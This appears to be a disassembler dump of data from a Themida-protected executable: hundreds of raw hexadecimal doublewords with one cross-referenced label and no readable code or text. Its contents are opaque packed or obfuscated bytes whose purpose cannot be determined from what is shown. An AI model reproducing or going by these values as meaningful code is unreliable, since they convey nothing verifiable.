		dd 1FA81645h, 0F54B943Ch, 2AA5DF8h, 0A6C34599h,	327B7E15h
		dd 0A2397A8Ah, 260835A9h, 2F3C7B23h, 995A2C5Dh,	0B315320Eh
		dd 23h,	83BD5C19h, 0B1CBA7DCh, 0FC7CD9FAh, 35E13D67h, 2383D866h
		dd 0E9883B94h, 7B36C10Ch, 8DA139h, 0D7EB0000h, 740FEB96h
		dd 6E32A7Dh, 0B561964Dh, 0C4D00BBh, 0E6C064EFh,	79100441h
		dd 89ED99D6h, 0FE9D896Dh, 65641045h, 16D589BEh,	6DCC648Ah
		dd 0BB6FA45Bh, 728C4F66h, 0FAD189B7h, 0F30D6967h, 0C985C468h
		dd 1DC49E52h, 655B00E4h, 2B4A04A8h, 0CD6A7Bh, 8F3F0000h
		dd 6309904Ch, 8429B02Ch, 63088F4Bh, 8123B226h, 64A08642h
		dd 971352F6h, 0B02C6D20h, 8E4A8529h, 0AF2B6007h, 79C9C0BCh
		dd 9D6BDAF1h, 7E327440h, 530C8B3Fh, 321CAA1Eh, 0AF2A4479h
		dd 0FDA9BEFDh, 0B25525DEh, 88DD5175h, 99906A71h, 67FCCAA8h
		dd 41F8D24Eh, 2DDC508Fh, 9423CD91h, 14C8FDA6h, 0BDFEAF2Ah
		dd 0C3906DC9h, 3C2EE221h, 6A03F50Fh, 0A2B789ADh, 5227h
		dd 0BD5C9500h, 0F95D4C1Eh, 567F687h, 0A55E7D29h, 863DBC70h
		dd 95F6A551h, 8E1151AAh, 2DBEF9F2h, 9BE3C1A1h, 0DF46DDBEh
		dd 0C037F328h, 0A71ED207h, 0C9DBC704h, 0F19A9B3Ah, 7017A2BCh
		dd 8EC37C3Bh, 0CD7605B9h, 620E49FDh, 0A52EE2FEh, 3, 326D5F17h
		dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
		dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h,	81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 2E68243Ch, 89000077h
		dd 8952243Ch, 4C281E2h,	83000000h, 148704EAh, 1C895C24h
		dd 47B95124h, 0C1565955h, 0F75103E9h, 81592414h, 225E07F1h
		dd 59CF89F3h, 4EC81h, 24890000h, 24048324h, 89525B04h
		dd 85389FAh, 8124148Bh,	4C4h, 241C8B00h, 81E18951h, 4C1h
		dd 4C18300h, 5C240C87h,	5F2434FFh, 4C481h, 1E90000h, 0CCFFF9F1h
		dd 68FAE62Bh, 41C83024h, 0C8E699DBh, 0E5B8FAA7h, 306168Eh
		dd 0FCE0FFC5h, 11426301h, 0D45BCCBCh, 8D27A018h, 1690558Dh
		dd 68C0F06h, 8B000000h,	102A89BDh, 0F58D8906h, 0F061009h
		dd 384h, 38DF8000h, 231985C7h, 66980610h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 4D30CFC3h, 0CDDAF9D0h, 0CB1BD89h, 85C70610h,	61022C1h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 7EC35141h
		dd 2AECADF1h, 6E9C6h, 5EF10000h, 0B2B3B5DDh, 232DB5FFh
		dd 81660610h, 0FF2930EAh, 102DB995h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 1317C8B6h
		dd 80BFA89Ah, 0FF006ADAh, 1031C995h, 0EBC08B06h, 637B0679h
		dd 28048559h, 0B651AA7h, 4082700Dh, 70E691DCh, 0BCC08025h
		dd 0AE10C602h, 7B8484EFh, 9FA49419h, 0E9F098FBh, 20FC8D7Ch
		dd 2C30881Ah, 584D4805h, 2925AB6Bh, 7775915h, 3C8EB3B1h
		dd 94EB05E1h, 3CD3131Eh, 276B84F4h, 14BB2276h, 63E6029Ch
		dd 1AAD7FDAh, 8885D5D3h, 8D17A2E5h, 0D85A4BF5h,	68CD2151h
		dd 50BC0EB1h, 262E56EFh, 2E599ACAh, 0CA7C70A7h,	8D8D3108h
		dd 6169191h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	32C35646h, 0D8AC7415h, 0F059D89h, 8D890610h, 61009F5h
		dd 0C7C68166h, 1985C701h, 4061023h, 6A00006Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 2D7DC351h, 85C762AEh, 61022C1h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 15C35545h
		dd 51B5FFD3h, 6A06101Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0F672C352h,	0B995FF55h
		dd 8B06102Dh, 100A59B5h, 0FF006A06h, 1031C995h,	0EBC08B06h
		dd 9B51F24Eh, 5CF241A1h, 0CF740EF9h, 0A0B8CFA6h, 1DE3D1C8h
		dd 3515DD7Eh, 6C3DC529h, 0C413308h, 29368411h, 0F534D500h
		dd 4A9752ECh, 16907503h, 0FA9AF532h, 0AC03B3B4h, 2063F439h
		dd 5EF6ED3Bh, 6FBA1F74h, 0F6E41423h, 5C350607h,	5370DA4Ah
		dd 5DB16125h, 0AEB122BFh, 591A0C56h, 0C3E10D00h, 8865550Ch
		dd 0EB3BBE84h, 30B1324Ah, 0BAB13B54h, 0B2305256h, 0E0AE90CBh
		dd 57B153A3h, 0ABBCB559h, 0DD583256h, 0EFB13256h, 3D4E4AD3h
		dd 9270B311h, 50B37764h, 0C3B13256h, 0C61185A2h, 6695D134h
		dd 1FDC4C7Bh, 0EAB13EBEh, 0BA1C456h, 0B6DE2F0Ch, 88513191h
		dd 0AE333DC2h, 9B13256h, 0A4B13237h, 0D5B124DDh, 0EAA0DB56h
		dd 0E5E93256h, 7877A6A5h, 93DA7F7Bh, 0C195C70Ah, 573E90BBh
		dd 0ABA2DB56h, 0CB673256h, 9893056Bh, 73FC0466h, 0E43A3385h
		dd 0CB2FF1A1h, 0CEB13220h, 57B139BFh, 2D271C56h, 0CC2B3812h
		dd 31D18003h, 75B7B959h, 54303256h, 35C68BFDh, 0CEB13237h
		dd 57B120BFh, 0FCD8FD56h, 0E55053F4h, 5D18C619h, 56BDB969h
		dd 315045B5h, 5DB1538Ch, 0AEBBBA59h, 0E1D13256h, 0AB3F3DE6h
		dd 0B4B13256h, 0EAB9DB36h, 0A9623256h, 0E494BCECh, 3C4D8A7Fh
		dd 0AEEB7CCAh, 0B8B13256h, 3013B3E0h, 0DAD13256h, 0EAB134D2h
		dd 1257B356h, 2E8A760h,	32AA8BDh, 0F29DA837h, 36438D56h
		dd 2ABE3256h, 0D5B1325Ch, 0EAB137BFh, 27DAE356h, 53D1D11Ah
		dd 5DB1325Dh, 436133A0h, 0CAC71ABBh, 0CB9274F2h, 0D5B137BEh
		dd 3CA34F56h, 0C3EACAACh, 0BAD053DAh, 5DB1CB56h, 0AEB13CBFh
		dd 300BD556h, 2AA6C422h, 0B5718667h, 8AC8414Fh,	0BC25E4D7h
		dd 31D7245Fh, 5DB15394h, 0EB57B336h, 37C7EE3Ch,	0ABB13EBFh
		dd 0E4FAE856h, 0F8EDAF08h, 98860C89h, 596F8B2Ch, 3CD035CAh
		dd 0AEB0B859h, 57493256h, 0ABB1CE56h, 0D5B13ABFh, 0C94BF156h
		dd 3C24DC27h, 0B5B132BFh, 5DB13AD6h, 0AC303D56h, 37B13256h
		dd 0A4B13237h, 0D5B133D7h, 0E458C756h, 95B13256h, 0B34C69Dh
		dd 0BF8ACDF7h, 20EB7BD2h, 37B132D3h, 266585EFh,	0B442B974h
		dd 63BE3256h, 75B13241h, 0BAB120BFh, 9A75E556h,	4FB6955Dh
		dd 57AFB188h, 0A61653A6h, 3CF15182h, 0EAB13251h, 0A11E3FEEh
		dd 0BABC7A13h, 4E585256h, 67B13256h, 0FC45D32Bh, 0CBEE208Ah
		dd 0DC947998h, 0C2A0FA36h, 0F4D7B87Ch, 0DB8A6DB0h, 5D4D3256h
		dd 64305256h, 5EAC8E69h, 0ABB13FBFh, 5F5F3E56h,	7E7CEEDh
		dd 6ACAA075h, 0BAD0706Dh, 5C333D56h, 5BB13256h,	57493256h
		dd 0ABA2DB56h, 49F93256h, 0A96B7DA0h, 8E04A7F4h, 0EDE20968h
		dd 0A95BF64Ah, 0B9373D0Ch, 0BEB13256h, 0ABB13244h, 0A78B247Eh
		dd 777B896Eh, 0AE12BCC6h, 0B99437D5h, 5DB1F0E8h, 52B132A3h
		dd 0AFD13256h, 0A4D0D6E0h, 0D5B133D4h, 0EAB1CE56h, 75B13EBFh
		dd 36A1356h, 0C868537Ch, 8E6B28CCh, 0BEB1325Eh,	0ABB1325Ah
		dd 1E2009B2h, 4F2FC261h, 63EDF386h, 0BAB138BFh,	5F3A8756h
		dd 43E2CB1Dh, 55C01F28h, 0ABB13256h, 0DCB6E5A3h, 0FEB13656h
		dd 77B13056h, 88B10156h, 0A8B13254h, 0A5363D37h, 0BEB13256h
		dd 0ABB13250h, 0D0FFE113h, 0EAB1C754h, 89B132AEh, 53D13256h
		dd 5DB13258h, 4CE96C64h, 83005CA5h, 4F13B2E1h, 0B3D1C7E2h
		dd 6CBEE4DDh, 75B13256h, 0BAB15337h, 5D3C3D36h,	0C8B13256h
		dd 57D0CCDDh, 0A7595256h, 0BB13256h, 87E1980Fh,	0F0550BEAh
		dd 0DCF18B77h, 0FE8F3DDh, 0AEB137BFh, 9A53C856h, 0CAE8937Dh
		dd 0D5483256h, 0EAB37B56h, 75B0BC59h, 0BA4D3256h, 0DDB37B56h
		dd 15EE17A6h, 316F329Ah, 0CBB13237h, 0D5B8DA00h, 0A8363256h
		dd 11D69880h, 0E5BA847Fh, 5F333D08h, 18B13256h,	372153E5h
		dd 39E88A36h, 0C00F4471h, 8BCD87ADh, 0FD82A3EEh, 0EAE15318h
		dd 3CD15204h, 0E262B7EFh, 66BE535Fh, 0CAD16006h, 0DD580359h
		dd 0EAB13256h, 596E4C6Fh, 0E04AB8A3h, 0CDE9680Eh, 0A61AC873h
		dd 0E336F4F7h, 0F392608Bh, 85E1530Ch, 0BAE36204h, 2F803D04h
		dd 53803D0Eh, 5DB13251h, 0E0F86245h, 0DB44E39h,	0FB803D0Eh
		dd 0D5B8DB04h, 580C3256h, 8B08B255h, 0B5C49E09h, 52E36267h
		dd 0F4E96867h, 0C5E9680Eh, 0C625DAEEh, 0D5B134BFh, 8E46C456h
		dd 0E822B09Bh, 2AE96837h, 1BB13256h, 7CEC0651h,	0DD0AFF5h
		dd 8FB5B30Eh, 0A9B323C8h, 0D88CA6B1h, 7AD0AFD5h, 0DAE36267h
		dd 0B4803D37h, 0AEB13250h, 0FA75E500h, 0F3EB41B4h, 8D276A0Ch
		dd 0B0E96A0Ch, 15803D0Eh, 8BBE6006h, 0B42D6A0Ch, 0AEB13242h
		dd 0AC3BC77Ah, 7CE7434Eh, 0A6539F92h, 259F9B66h, 9E8B570Ah
		dd 7DB7EAD7h, 51583898h, 5AB13256h, 37D2A04Bh, 270EEC4Fh
		dd 486AD883h, 0B2E96837h, 75A0DB52h, 543256h, 0DBD0FA3Dh
		dd 0BC2C4611h, 928D2B5h, 0F3E43E69h, 0D5B13BBFh, 0B9224256h
		dd 8569E1B9h, 0BA4969FFh, 53595256h, 48B13256h,	6F6AAAEh
		dd 831BF340h, 7694D74Bh, 35063DAEh, 75B1530Fh, 0BAB135BFh
		dd 0E351F456h, 0DA8E28D7h, 5F583256h, 3B13256h,	169C42A8h
		dd 8A68B7DAh, 0CB6DCDEEh, 0BAB15329h, 0BF305436h, 56D08B15h
		dd 57443256h, 0BA313D56h, 3CB13256h, 0EAB1325Ah, 0AECFC124h
		dd 0FAAA420Ah, 579B9AE9h, 0AEB135BFh, 773E9F56h, 0A03CEE1h
		dd 0B3D13256h, 8CE1F9DDh, 14EEEADDh, 0BAB9BB59h, 52D13256h
		dd 0AEB132D0h, 57B15356h, 0AD3E3DAAh, 0B5B13256h, 31063DAFh
		dd 8DB13237h, 0BA4D3256h, 5C323D56h, 57B13256h,	0D4BE3256h
		dd 0ABB13257h, 20B132AFh, 63BE3256h, 75B1325Ch,	753A5436h
		dd 9D68B330h, 0AEB153F4h, 0E9BB8536h, 8862A8AFh, 0DAB13237h
		dd 0EAB13AD4h, 77383D56h, 0DAB13256h, 0A4B13237h, 0A1D13256h
		dd 57B133D7h, 0A259CE56h, 0F4B13256h, 0FF71DDBCh, 137C4D6Ch
		dd 0DBEEC8E1h, 5D493256h, 0A9343D56h, 37B13256h, 0CB738D59h
		dd 0D5B15337h, 87848D36h, 75D06595h, 0AF363D56h, 0B4B13256h
		dd 0AEB13246h, 0A8E7FCD3h, 0A42C11D0h, 89893F35h, 4CA4E6E9h
		dd 75493256h, 0BABCDB56h, 2B373256h, 0BC01DE25h, 1BBA0C9Dh
		dd 0AB5DCA9Ch, 0D5A2DB56h, 6AB33256h, 0AB3C591h, 71BD0193h
		dd 0BB7B8836h, 26F7496Dh, 0AEB132BAh, 0CDD13256h, 30C3E1D7h
		dd 0EAD0CADDh, 75B8DB56h, 11353256h, 0A3CC869Ah, 0AE9218A5h
		dd 57B1CB56h, 0ABBBB259h, 61D13256h, 0EA3C3DFBh, 14B13256h
		dd 0BA493256h, 5C313D56h, 5BB13256h, 5E583256h,	49B13256h
		dd 0D8695421h, 9327D919h, 8DD13256h, 0BAD0AEE7h, 5DA3DB56h
		dd 63013256h, 0FD963DD7h, 0BF04DC8h, 6732A0EDh,	3D670BF8h
		dd 0FFBE3256h, 0BAB1325Ah, 5DB7B559h, 2DBE3256h, 57B13256h
		dd 0AB483256h, 0DE585256h, 0B5B13256h, 0AD60BD92h, 9F0729D8h
		dd 5DD06220h, 0AEBBDB56h, 41093256h, 0BF32EE1Ch, 557339D2h
		dd 0EA4D3256h, 75BEDB56h, 6FE43256h, 1C40F861h,	31993E74h
		dd 0EAD20D49h, 42B1326Ah, 0D5B1325Ah, 0C6592BC1h, 491C334Bh
		dd 0F0E45358h, 5D4D3256h, 25D75256h, 5258529Dh,	0E1B13256h
		dd 0FB799560h, 8B6B8559h, 9CB13237h, 0BAB13251h, 479A020Bh
		dd 0AE347277h, 0D1C756h, 0CAEB6B04h, 0B3D13256h, 0A5D5C3D7h
		dd 4343B330h, 0BAB15307h, 5DB120BFh, 0A602F956h, 0D909BFD6h
		dd 8814B16Dh, 0CFDD951Ch, 0EA957F6Ah, 6F323D56h, 0B5B13256h
		dd 5DB126D7h, 0AEBEDB56h, 59303256h, 81DABB9Ah,	711E6F3Dh
		dd 8B6CC01Eh, 15B1325Ch, 2872B330h, 5894897Dh, 0A1D011D3h
		dd 57B124DDh, 0ABA0DB56h, 0F5703256h, 0A7ABEBFh, 40B8321Bh
		dd 0CFFF31A3h, 5D6635ABh, 0AEB1CB56h, 57B0B159h, 53493256h
		dd 0D54D3256h, 0EABDDB56h, 6B793256h, 0E6C0F329h, 759A3CF0h
		dd 0AE44DBE2h, 57BCDB56h, 0C9A43256h, 690DA8E9h, 9BC00EA8h
		dd 75EE0E3Ah, 0B0303D56h, 0B4B13256h, 0AEB13253h, 1D6CD7D3h
		dd 2FBE5207h, 0D5B13242h, 0EAB13DBFh, 318B4A56h, 0F73EC218h
		dd 0CE772513h, 1168A97Fh, 57B126BFh, 0C5F56856h, 0CB5E1A2Ah
		dd 0AE589A02h, 8A5D42E1h, 55E4460Ah, 5DB15313h,	0AEBDB659h
		dd 0D4BE3256h, 0ABB13250h, 0D5B1B859h, 0EAB13256h, 75B126BFh
		dd 19A32A56h, 730BCE29h, 26BF3794h, 6A9E31F2h, 0F61DB588h
		dd 0DAB1322Ch, 0EAB126D6h, 75BEDB56h, 253B3256h, 1286F217h
		dd 0D4E202C3h, 0AAA62032h, 42B13237h, 0D5B13258h, 2652645h
		dd 10954917h, 541ACC3h,	5DB1404Eh, 0AEB0B859h, 57443256h
		dd 0BF585256h, 0A7B13256h, 40DD256Dh, 639B6E43h, 0BE0A0082h
		dd 0EC4D3EC0h, 0C8C3CCCCh, 57D0E1DDh, 0ABB1CE56h, 0B362B836h
		dd 8C36F2D7h, 9CB13237h, 0BAB1325Ah, 9A780AC6h,	0F86862A0h
		dd 90D15CB6h, 0CDD13256h, 5B24C5D7h, 0EAB13ABFh, 668F9156h
		dd 0DE8A1BA5h, 5DB153EBh, 0CF44CA36h, 0D5BE3256h, 0ABB1325Ah
		dd 0D5B7B559h, 6DBE3256h, 75B13256h, 0BA4D3256h, 5DB6DB56h
		dd 0F7EB3256h, 0EC90D38h, 0ABB4DBAAh, 79073256h, 0EA4E2AF4h
		dd 9CD15256h, 0BAB1325Ch, 9DAFF121h, 47C4607Ch,	8A06F799h
		dd 9E0B5437h, 0D5B153B1h, 0A90E5436h, 0B41B20Fh, 53B13237h
		dd 5DB13242h, 0E04F0C22h, 0A3B0009Ch, 0BC7791DDh, 795E3407h
		dd 9C2DFA53h, 7F583256h, 23B13256h, 235E3A6Eh, 0F0C34E9h
		dd 843B5285h, 0ABB13ABEh, 9538C156h, 0D40E140Bh, 0A43A54C1h
		dd 0BAB1530Eh, 5DB13CBFh, 39FF4756h, 99A19400h,	0F8B3F16Dh
		dd 0D5AFA01Ah, 0EAB1C756h, 0B270B336h, 0DCC0C364h, 3C8CAEE8h
		dd 0A3583256h, 84B13256h, 5D6EE895h, 6E7380Eh, 0D1E83347h
		dd 75B139BFh, 88D31456h, 0FAF0AE3Fh, 0A33F60FBh, 37D13256h
		dd 998A30h, 0D5B1BE59h,	2D03256h, 75B13259h, 85A218D5h
		dd 9154D8A1h, 0EBEACE78h, 0AF6ACCC3h, 0ABB1530Fh, 0DAB132AFh
		dd 0EAB137DAh, 2EE35256h, 0BAB153AEh, 3DB132AFh, 4531C3DCh
		dd 57B153F0h, 0ABB0B059h, 3C493256h, 0EAB1325Eh, 3955C83Ch
		dd 5B55579Bh, 52D13256h, 0AEB131D8h, 0B474B256h, 437BB936h
		dd 0D5B13247h, 562706B6h, 0E8D6FB4Eh, 4EFCBEBDh, 0CC00E781h
		dd 0CFD06D37h, 43583256h, 0BAB13256h, 0D0CFA793h, 24776AA4h
		dd 6417BB87h, 0A93CF08h, 5D55F39Eh, 0AEB4DB56h,	0F3653256h
		dd 0AB0AE289h, 0D54DCB56h, 0EB3E3D56h, 8CB13256h, 0AE583256h
		dd 0D1B13256h, 0AD4D04C7h, 0F3D4BF51h, 0D7C70B58h, 9FDD85C6h
		dd 0EA9F6A1Ch, 743A3D56h, 4FB13256h, 5D493256h,	0AEA2DB56h
		dd 0BBB3256h, 73B354C7h, 59D781FFh, 2C268C28h, 72742945h
		dd 0B5B132F9h, 5DB13ADCh, 0AC3E3D56h, 37B13256h, 42B13237h
		dd 0D5B1325Dh, 2FDCC9A4h, 0A147816Fh, 4F05FD04h, 0DBBE3256h
		dd 0AEB13240h, 9E063D36h, 0ABB139BEh, 0F1339E56h, 0D54EB714h
		dd 4831EA55h, 0BAB1530Fh, 0A1B132AFh, 0AE483256h, 57B7DB56h
		dd 0B6553256h, 0F5B73A5Fh, 0EA4D3256h, 0C5D1C756h, 0BC3B3D4Fh
		dd 52B13256h, 0AEB132D0h, 57B15356h, 0ABB6B359h, 52BE3256h
		dd 0EAB13257h, 7AB132AAh, 0BAB120DCh, 5DBCDB56h, 6FE73256h
		dd 5F473DBCh, 7067A7BBh, 0D5CBE822h, 0EAA5DB56h, 82203256h
		dd 0F155A5CAh, 8E6F039Dh, 0ED77F58Fh, 0CE9BB338h, 0A158F521h
		dd 0A7B13256h, 0C35C66AFh, 0D0C9093Bh, 53B1321Ch, 5DB13250h
		dd 0EFBB47CBh, 0DBBE3953h, 0ABB13257h, 0B5B132A3h, 0EAB4B959h
		dd 0BF083256h, 0DCF846E1h, 3CE12DEEh, 0AE493256h, 57B1C756h
		dd 0ABB120BFh, 0B07D9856h, 2178D69Bh, 0E550F359h, 65077774h
		dd 5D9140E4h, 29BE5256h, 57B13254h, 14BE5336h, 0D5B15394h
		dd 0EAB0B559h, 754D3256h, 0AB3C3D56h, 0B4B13256h, 0AEB1325Ah
		dd 0F783F17Dh, 0C4651B14h, 0F2E36E8Bh, 0EAB4DB36h, 0BF483256h
		dd 0DD12C35h, 5DB15366h, 47B132AEh, 57B13245h, 0ADD98ED0h
		dd 0BE0129D6h, 42CA27D5h, 666CB6E0h, 4F56AACEh,	58583256h
		dd 87B13256h, 0DE9113ACh, 0AB483256h, 0D5B1CE56h, 0E8393D36h
		dd 15B13256h, 0BAA3DA37h, 2A9E3256h, 2787965Bh,	5B9546FBh
		dd 19296F3Ch, 9F3936B3h, 0EAD06AAFh, 74323D56h
		db 56h,	32h, 0B1h
byte_5B52CF	db 42h			; DATA XREF: Themida_:0054D610o
		dd 0DDD13256h, 2FD77483h, 3681B08Ch, 0A6583256h, 40B13256h
		dd 0B54D20E5h, 0EF5C657Ch, 0B2C45914h, 0D4BE3256h, 0AEB13257h
		dd 58B132AAh, 0ABB13AD2h, 0D7313D56h, 8AB13256h, 15B13237h
		dd 0BAB122BEh, 0A19E8E56h, 1675C81Ch, 8F4EBAA9h, 978E202Ah
		dd 8E548576h, 0EAB2B959h, 0C2BE3256h, 0BAB1539Eh, 5DA1B659h
		dd 2BBE3256h, 57B1325Ch, 0ABB137BFh, 0D0C84656h, 0EAB1FE65h
		dd 99F98936h, 3BD72317h, 3C90FE84h, 2CBE3256h, 57B13257h
		dd 5EB132AFh, 0D5B0BD59h, 0EA4D3256h, 7D3A3D56h, 0DAB13256h
		dd 5DB1B059h, 0AED03256h, 57B1C756h, 527EB336h,	0B3B85706h
		dd 0FED7E9D7h, 7AB13237h, 0BAB13EDCh, 5DB6DB56h, 5F733256h
		dd 0E604C9Fh, 5EB132BDh, 3CD13256h, 0EAB13245h,	0C7D6CA8h
		dd 157F0EBBh, 0C7EA1999h, 843330B6h, 37716ACAh,	0CA46B930h
		dd 3CB13237h, 0EAB13258h, 984EF170h, 9F5FF324h,	0D1792728h
		dd 0AEB18B4Eh, 37B132AFh, 0A24D8B36h, 0B4D0362Fh, 8CD13256h
		dd 148DF1EFh, 0DAD13256h, 5DB13EBFh, 6BFC3D56h,	62CD038Fh
		dd 0D22D335Ch, 3CD0CECBh, 0EAB13259h, 1F391616h, 16C28497h
		dd 1AD6519Fh, 0CFB989D0h, 57493256h, 0BE3B3D56h, 3CB13256h
		dd 0EAB13246h, 885EAF15h, 2E23609Fh, 28FBAB71h,	1A2CB487h
		dd 47583256h, 0D5B13256h, 0D9530145h, 776C443Eh, 0BA395D0Fh
		dd 0BA0EAC3Ch, 0DDBE5256h, 0AEB13250h, 57B1BA59h, 11D73256h
		dd 0D5D0291Dh, 0EAB1CA56h, 75B9BA59h, 30BE3256h, 5DB13254h
		dd 15D15336h, 21091C4Eh, 0ABB1BE59h, 0D5D03256h, 0E558CE56h
		dd 6AB13256h, 28A863B6h, 84BFB67Fh, 0F834F1A2h,	57B12692h
		dd 5C305436h, 0B5D0E604h, 0EA393D36h, 13B13256h, 0A364D1D7h
		dd 3CDB8437h, 21BE3256h, 57B1325Ah, 0ABB7B259h,	51BE3256h
		dd 0EAB13256h, 0FABE3256h, 0BAB1324Dh, 1D57B236h, 0AEB122BEh
		dd 8E8CD256h, 0C297AD6Fh, 0B0CDB31Eh, 42D9ACEBh, 75D06DEBh
		dd 0B3313D56h, 3DB13256h, 7F548930h, 36BBFBD6h,	28BE3256h
		dd 0D5B13257h, 0EAA1DBAEh, 0CE143256h, 9E2A577h, 0EFB0FA26h
		dd 0A74F6122h, 57B1E1FDh, 0ABB0BF59h, 0D5443256h, 61D1C756h
		dd 773F3DA7h, 0DAB13256h, 5DB15337h, 1E77B936h,	57B15388h
		dd 0ABB120BFh, 8151CE56h, 0D580688Ch, 0BEB43313h, 0C7DC71CDh
		dd 5D5F266Bh, 0AEB1CE56h, 57B137BFh, 0B1C7DD56h, 0D5B177D8h
		dd 0EAB123BFh, 7DAE2056h, 949D719Ah, 110CECAh, 94564B20h
		dd 57B18E7Fh, 0ABB9B959h, 57BE3256h, 0EAB13254h, 75B15336h
		dd 42B132AEh, 4C583256h, 0F7B13256h, 0D717B48Eh, 0E40AE9ADh
		dd 0DACD911Fh, 6F2480BEh, 75483256h, 34BE5256h,	5DB13256h
		dd 0CF8DF1D6h, 45583256h, 0FBB13256h, 23908A50h, 4762E06Ch
		dd 0A447E430h, 9FF419D7h, 0B4B13215h, 0AEB1325Ah, 8E70A5B9h
		dd 0F436A5E3h, 8EAEE999h, 440B336h, 0FE8B7C48h,	0BAB153AFh
		dd 0A8B132AEh, 24D13256h, 51363DB7h, 0A4B13256h, 0D5B132DDh
		dd 0EAB15356h, 75A2DA36h, 3AD83256h, 0F3759232h, 76D8A44Dh
		dd 31471760h, 440413FFh, 8DD05273h, 0E8348B36h,	14D07C54h
		dd 0B5583256h, 6FB13256h, 0DBA4AF17h, 0D6E6AC44h, 922F2E27h
		dd 0D5485AB0h, 0E5D1CE56h, 75B124D2h, 0BAA1DA56h, 0FA163256h
		dd 0C5737E75h, 2DF0EBA3h, 8502630Ch, 0B3EFE68Fh, 0EAD0ECDDh
		dd 623C3D56h, 53B13256h, 5DB13244h, 0A0D7E7ECh,	0B1FDD5BDh
		dd 0E0C59853h, 0C690EDEDh, 0EAB17CAAh, 75B135BFh, 0D12CD556h
		dd 6D383128h, 0CEB132AFh, 0BF62B930h, 0ABB13245h, 1BA49E09h
		dd 2FCEAF0h, 93BE6856h,	64AE0A40h, 55F3FA7h, 0A1B13237h
		dd 57B13AD1h, 0A9333D56h, 0B5B13256h, 3B13237h,	75B1325Ah
		dd 8EFBE10h, 20F54D2Dh,	1A394C98h, 0DDBE3256h, 0ABB13257h
		dd 29B132AFh, 6BD13256h, 0F5AAB18Ch, 6B3A5462h,	3DB13237h
		dd 2E00E9D6h, 57D0AFB8h, 6C305256h, 0D19878B7h,	8AB13237h
		dd 0F5D1C8DDh, 5BEBB8Dh, 5DD05394h, 0AEB1CB56h,	57B13EBFh
		dd 429B4356h, 810D40A0h, 0BF7B090h, 15B132B9h, 0C57B330h
		dd 505864C4h, 5B13256h,	0ED3D50A6h, 0FE806208h,	0A33B994Ch
		dd 0EAB15308h, 75A7BC59h, 0AB583256h, 0C9B13256h, 0E7201BCFh
		dd 0D926845Bh, 3C38C2AEh, 0AB324CBDh, 0EAB138BFh, 461E5056h
		dd 0B1C60F88h, 5D4BAB21h, 0AEB1CE56h, 57A2DB36h, 0FE733256h
		dd 0B612E47Bh, 0DBE5DF97h, 6DD70547h, 7719AA15h, 3C7BB9BFh
		dd 0A9583256h, 0A6B13256h, 84B5C04Fh, 0D5B18C22h, 0EAB0B659h
		dd 9C443256h, 0BAB1325Bh, 4F815CE6h, 10C4DB1Dh,	3389370Ah
		dd 0CBB1328Eh, 0D5B13EBEh, 830EB556h, 0D6A037F1h, 716E312h
		dd 5DB8DB8Eh, 9AC93256h, 0FDF210B8h, 0F4459574h, 0F573B205h
		dd 0EAB1530Dh, 7AEE6436h, 0BAB134D7h, 5D3A3D56h, 0CFB13256h
		dd 0CE52B336h, 0CD987D9Fh, 0B442D7EDh, 0E5443256h, 75B133D9h
		dd 0BAB1C756h, 953A5436h, 0EFC8B30h, 58B13237h,	0ABB133DBh
		dd 0D5B1CB56h, 0E5B132AFh, 75B122D5h, 0B03E3D56h, 0B4B13256h
		dd 0AEB13253h, 0A39F26ABh, 42B132A8h, 0D5B1325Ah, 0B32948D9h
		dd 8968A8Ah, 288AFDE9h,	0EBD13256h, 7F30546Bh, 57D08798h
		dd 0ABBCDB56h, 0E3913256h, 82B64A2Bh, 57A7B2FDh, 0BAC86ACDh
		dd 5DB1CB56h, 16D752A3h, 0DCD7F34Eh, 0ABB153A6h, 0DAB132AEh
		dd 0EAB124D8h, 7C595256h, 5DB13256h, 60762439h,	0E40166B0h
		dd 9630540Dh, 0ABD00AFCh, 0D5B1CB56h, 0EB313D36h, 89B13256h
		dd 0DB4AB930h, 5DA6B959h, 0BC583256h, 90B13256h, 0F6A7374Ch
		dd 465EA1FAh, 725C2FF6h, 98BD4F74h, 42B132E7h, 0DEBE3256h
		dd 0AEB13257h, 57B1CEAEh, 7C315236h, 0B4EB6203h, 0EAB135BFh
		dd 82F35C56h, 42B6BA41h, 52B13237h, 0AEB133DFh,	57B1CE56h
		dd 0CBB132AFh, 0B448FADDh, 0E5D13256h, 75B12BDDh, 0BAA2DA56h
		dd 84473256h, 362C709Ah, 0F793BFA4h, 422DA384h,	0CBECDA36h
		dd 55BE69ACh, 75B153A0h, 0BAB0B859h, 5D443256h,	0AEB1CB56h
		dd 58B132A3h, 0ABB122DEh, 0DF393D56h, 3B13256h,	75B13253h
		dd 98DC7490h, 3DB13216h, 0DE85D9D7h, 0DEBE353Bh, 0ABB13254h
		dd 3CD06D06h, 0EAB1325Fh, 5261A90Ch, 0D7E54B13h, 52B1322Eh
		dd 0AEB124DAh, 57A0DB56h, 0BEFD3256h, 44883138h, 0AD7362EFh
		dd 6D0492ADh, 0BA8A603Eh, 0DCD75256h, 2FFB7AB7h, 79988D80h
		dd 0ABB1534Dh, 2B3A5436h, 0E5B13237h, 75B133DCh, 0BAB1CA56h
		dd 5DA7BB59h, 0BF583256h, 7FB13256h, 0BD8BC069h, 51AEAB2h
		dd 0ED02CAC1h, 92C2ED2Bh, 0B5D13256h, 5DB131DCh, 5D3A5456h
		dd 4E6FB330h, 21BE5340h, 0D5B13253h, 3D0E3D36h,	15B13237h
		dd 0DBE6A06h, 5DB15394h, 0CEB132AAh, 57B123BFh,	7F6FCA56h
		dd 6562A6Ch, 0E61E4746h, 0C47808D1h, 2D7C0EBh, 5DD0AD6Ah
		dd 0AEBDDB56h, 37603256h, 51D59056h, 0BD672208h, 0EAB191C6h
